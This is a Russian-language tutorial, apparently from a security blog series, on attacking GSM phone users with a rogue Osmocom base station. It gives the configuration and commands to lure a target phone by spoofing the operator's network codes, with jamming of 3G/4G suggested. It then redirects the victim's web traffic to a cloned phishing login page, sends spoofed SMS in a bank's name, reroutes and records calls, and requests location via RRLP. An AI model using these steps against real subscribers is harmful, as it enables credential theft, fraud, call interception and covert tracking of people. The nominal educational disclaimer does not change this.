В данной статье цикла про Osmocom мы рассмотрим практическую реализацию атак на абонентов GSM сетей. Будут рассмотрены атаки как с помощью голосовых вызовов и СМС так и атаки во время работы абонента с GPRS.
Для работы нам понадобится все, что я описывал ранее. Поэтому для тек, кто присоединился к нам только сейчас, рекомендую ознакомиться с материалами предыдущих статей.
Статьи цикла:
Запускаем GSM-сеть у себя дома
Анализ трафика GSM сетей в Wireshark
Добавляем GPRS в домашнюю GSM сеть
Внимание!
Данная статья предоставлена исключительно в образовательных целях и автор не несет никакой ответственности за действия других пользователей, их вмешательство в коммерческие GSM сети и порчу собственного оборудования. Прежде чем что-либо запускать, убедитесь, что Вы понимаете, что делаете.
Подготовка
Для работы нам понадобится еще один компонент, о котором мы упоминали лишь вскользь ранее — osmo-sip-connector.
Мы подключим нашу базовую станцию на основе двух osmocombb-совместимых телефонов к IP АТС Asterisk при помощи этого компонента.
Это позволит нам записывать разговоры абонентов, работающих в нашей сети, а так же перенаправлять их исходящие вызовы на автоответчики и тому подобное.
Установить osmo-sip-connector на Ubuntu 14.04 мне не удалось из-за зависимостей и я решил пойти другим путем и просто установил все компоненты на Debian 9 (32-бита) через Nightly Builds deb-пакеты. В процессе установки пакетов я не получил никаких ошибок и проблем с зависимостями. Единственное, что я получил некоторые ошибки с texinfo при сборке старого toolchain. Но это легко исправилось правкой в gcc/doc/gcc.texi. Хочу предупредить, что сборку ветки osmocombb jolly/testing нужно проводить при помощи старого toolchain. Даже если вы исправите ошибку компиляции при использовании нового toolchain, вы получите нестабильную работу transceiver/TRX firmware в дальнейшем.
Устанавливаем osmo-sip-connector и asterisk
apt-get install osmo-sip-connector
apt-get install libsofia-sip-ua-glib-dev
apt-get install asterisk
Создаем файл osmo-sip-connector.cfg в вашей директории с другими конфигурационными файлами.
app
mncc
socket-path /tmp/bsc_mncc
sip
local 127.0.0.1 5069
remote 127.0.0.1 5060
Настраиваем asterisk
Очень базовая конфигурация Asterisk может выглядеть так
Добавляем в конец файла /etc/asterisk/sip.conf
[GSM]
type=friend
host=127.0.0.1
dtmfmode=rfc2833
canreinvite=no
allow=all
context=gsmsubscriber
port=5069
Добавляем в конец файла /etc/asterisk/extensions.conf
[gsmsubscriber]
exten=>_XXXXX,1,Dial(SIP/GSM/${EXTEN})
exten=>_XXXXX,n,Playback(vm-nobodyavail)
exten=>_XXXXX,n,HangUp()
Перезапустим asterisk.
Захват абонента в нашу GSM сеть
2G/3G/4G
Сразу рассмотрим два варианта:
- Целевой абонент использует старый телефон без поддержки 3G/4G.
- Целевой абонент использует современный смартфон, поддерживающий 4G.
Во втором случае смартфон будет сперва искать 4G сети, затем 3G сети и только потом 2G сети. Таким образом, если вы находитесь в месте, где есть хороший сигнал от базовой станции 3G/4G домашнего оператора абонента, то он не подключится к вашей 2G базовой станции.
Чтобы решить эту проблему нужно либо создать помехи на 3G/4G частотах оператора, либо оказаться вместе с абонентом в локации, где нет покрытия 3G или 4G. Вопреки сомнениям многих людей, таким мест очень много до сих пор.
В первом же случае, когда целевой телефон не поддерживает 3G/4G все становится проще и наша базовая станция должна просто находиться в зоне досягаемости целевого телефона и иметь достаточно мощный сигнал.
MCC/MNC
Чтобы телефон автоматически подключился к нашей GSM сети, она должна являться домашней для SIM-карты, установленном в целевом телефоне.
Домашняя сеть определяется тремя параметрами:
Все эти значения не являются тайной и вы можете легко узнать их даже из Википедии.
Эти параметры транслируются базовой станции в SI (System Information) сообщениях на логическом канале BCCH (Таймслот 0).
Сейчас у нас в настройках OpenBSC указано следующее:
network country code 1
mobile network code 1
short name MyNet
long name MyNet
Узнать MCC и MNC абонента можно исходя из номера телефона. Есть множество сайтов с этой информацией, например этот. Узнать имя на латинице сети тоже не составит труда. Обратите внимание, что имя чувствительно к регистру.
В домашних условиях, вам будет так же необходимо изменить auth-policy на closed, чтобы только Ваши телефоны имел право подключаться к сети с реально существующими MCC и MNC.
Для этого добавьте абонентов в HLR с IMSI своих личных SIM-карт, если их еще нет в HLR.
telnet localhost 4242
en
conf t
subscriber create imsi ВАШ_IMSI_1
subscriber imsi ВАШ_IMSI_1 authorized 1
subscriber create imsi ВАШ_IMSI_2
subscriber imsi ВАШ_IMSI_2 authorized 1
...
write file
end
И измените политику аутентификации
telnet localhost 4242
en
conf t
network
auth policy closed
write file
end
Перезапустите OsmoNITB.
Теперь абоненты, не представленные в HLR, не будут иметь возможности подключиться к вашей сети.
IMEI
IMEI — International Mobile Equipment Identity.
Когда к вашей сети начнут подключаться абоненты, как узнать, кто именно вам нужен? Вы не видите номера телефонов, вы видите только IMSI и IMEI.
Зная IMEI вы можете однозначно определить модель телефона, в который вставлена SIM-карта. Например при помощи сайта http://www.imei.info/
Модель и происхождение телефона описываются первыми 8 цифрами IMEI. Телефонам, поддерживающим одновременную работу с несколькими SIM-картами, присваивается несколько номеров IMEI.
Таким образом, если вы знаете, что целевой абонент использует Apple iPhone 5, то можете скачать базу данных с TAC кодами и узнать TAC для iPhone 5.
Такая база данных есть у osmocom — http://tacdb.osmocom.org/
Чтобы не захватывать в свою сеть абонентов с неподходящим TAC, хорошо бы отказывать абонентам при регистрации, если их оборудование имеет TAC не для iPhone 5.
На текущий момент я не нашел настроек для EIR в OsmoNITB, но вскоре у нас появятся отдельно стоящие MSC, HLR, возможно и EIR, и там это будет.
На текущий момент будем вручную контролировать подключенных абонентов. Можно просто каждому выставлять «authorized 0», если его IMEI нас не устраивает.
OpenBSC# subscriber imsi 123456789012345 authorized 0
Теперь, все, что остается — это оказаться рядом с абонентом и запустить CalypsoBTS.
MITM во время GPRS-сёрфинга
Когда абонент попадает в нашу сеть, он становится недоступен для внешних звонков и сам никуда позвонить не может (обычно, см. ниже по тексту исключения).
Однако мы можем предоставить ему доступ в интернет при помощи GPRS/EDGE сервисов пакетных данных.
Поскольку машина, предоставляющая доступ в Интерент для абонента находится полностью под нашим контролем, мы можем делать с TCP/IP трафиком все, что угодно.
Проще всего нам будет работать с данным участком
Напоминаю, что скорость передачи данных в GPRS очень низкая, в то же время современные телефоны при получении доступа к сети тут же начинают процесс проверки обновлений, почты, новостей. Все ваши приложения начинают обновлять свои данные. Это может привести к тому, что абоненту будет затруднительно открыть что-то в браузере, так как, помимо низкой пропускной способности, могут происходить потери пакетов, если вы используете такое непроизводительное оборудование как CalypsoBTS.
Поэтому при планировании MITM-атаки нужно иметь это в виду. Можно, например, заблокировать через iptables доступ ко всему, кроме ресурса, взаимодействие жертвы с которым нам интересно.
Далее при помощи фреймворка MITMf можно проводить непосредственно атаки.
Мы перенаправим все HTTP запросы абонента на наш веб-сервер.
iptables -t nat -A PREROUTING -i tun0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.1.32:80
Где 192.168.1.32 — IP-адрес машины Kali Linux, которую я буду использовать для атаки.
Дополнительно можно запретить все остальные запросы, на порт 443 и прочие, чтобы увеличить скорость загрузки фишингового сайта.
Воспользуемся SE Toolkit, чтобы скопировать сайт и провести фишинговую атаку.
Запустим SET
Мы хотим получить учетные данные от определенного сайта. Настраиваем SET.
Создаем фишинговую страницу аутентификации defcon.ru
При попытке перехода на любой сайт через GPRS сервис сети атакующего, жертва попадает на фишинговую страницу (обратите внимание на URL).
В данном случае моя сеть имеет MCC 001 и MNC 01, так что мы видим значок роуминга. В этом случае чтобы получить доступ в Интернет, жертве придется разрешить пакетные данные в роуминге, что неудобно. Поэтому для этой атаки нужно использовать MCC/MNC и имя сети оператора целевого абонента (см. ниже по тексту). В лабораторных условиях можно этого не делать.
После ввода учетных данных SET отображает логин и пароль
СМС-фишинг
Когда делают фишинговые рассылки претворяясь банками или родными, то рассылка происходит с неизвестного абоненту номера, что подозрительно. Когда абонент попадает во враждебную GSM сеть, ему можно отправить СМС с любого номера.
Для отправки СМС нужно лишь сделать следующее:
Подключиться к VTY OsmoNITB и создать абонента от имени которого будет отправлена СМС.
telnet localhost 4242
OpenBSC# en
OpenBSC# subscriber create imsi 123456789012345
OpenBSC# subscriber imsi 123456789012345 extension 89001234567
Где
123456789012345 — IMSI подконтрольно телефона, включенного в сеть атакующего.
89001234567 — Номер телефона, с которого жертва получит СМС.
И отправить СМС можно из того же VTY интерфейса OsmoNITB
OpenBSC# subscriber imsi 987654321987654 sms sender extension 890012345678 send Your bank...
Где 987654321987654 — IMSI телефона жертвы, захваченной в сеть.
Если жертва ответит на СМС, вы получите ответ на подконтрольный телефон.
Ответ вы также сможете легко получить просмотрев Wireshark дамп трафика, при этом не имея подконтрольного телефона в сети.
Обратите внимание, что значка роуминга на снимке экрана в этот раз нет, так как используются MCC, MNC и имя домашней сети SIM-карты целевого абонента, и СМС пришла от абонента, занесенного в телефонную книгу, т.е. обнаружить такую атаку невозможно.
Отправка Binary-SMS — еще один вектор. OsmoNITB позволяет отправлять Siltent SMS, но как отправить binary средствами OsmoNITB, я не нашел. На текущий момент можно попробовать использовать что-то такое. Однако этот вектор еще нужно изучать и реализация конкретных атак в каждом случае будет отличаться.
Перенаправление и запись голосовых вызовов
Если жертва попытается позвонить на номер, с которого пришла смс (89001234567) то ее вызов будет переадресован на телефон, контролируемый атакующим.
Чтобы использовать Asterisk для маршрутизации звонков, нужно добавить ключ -M в команду osmo-nitb
-M /tmp/bsc_mncc
И запустить osmo-sip-connector
osmo-sip-connector -c путь_до_конфигурационного_файла
Теперь наши вызовы будут маршрутизироваться через Asterisk, мы можем задать любой dialplan и полностью определить, как будет проходить звонок. Атакующий можете, к примеру, направлять все вызовы абонента на автоответчик, где роботизированный женский голос будет спрашивать у абонента конфиденциальную информацию. Никто не же подумает, что робот может навредить человеку?
Запись звонков можно выполнять при помощи стандартных конструкций Asterisk а файле /etc/extensions.conf — Monitor() и MixMonitor().
Radio Resource LCS (Location Service) Protocol
RRLP — GSM протокол, позволяющий сети запросить текущие координаты абонента.
RRLP не требует аутентификации и согласия пользователя на предоставление этих данных.
Мы, через OsmoNITB, тоже можем отправить RRLP запрос захваченному абоненту.
Если используется CalypsoBTS, то вы находитесь рядом с абонентом и это вряд ли может быть полезно, однако при использовании более мощных трансиверов RRLP позволяет выполнять слежку за абонентом.
К сожалению у меня не было достаточно времени это попробовать, но я полагаю, что нужно использовать модуль osmocom-lcs
Существуют и другие атаки, которым подвержены абоненты 2G сетей и большинство сотовых телефонов до сих пор поддерживают GSM. Чтобы не статье жертвой подобного рода атак, будьте внимательны при получении подозрительных звонков, смс или при сёрфинге с мобильного телефона, а так же обращайте внимание на значки 3G/LTE, которые обычно указывают на то, с сетью какого поколения вы в данный момент работаете.
Автор: Pentestit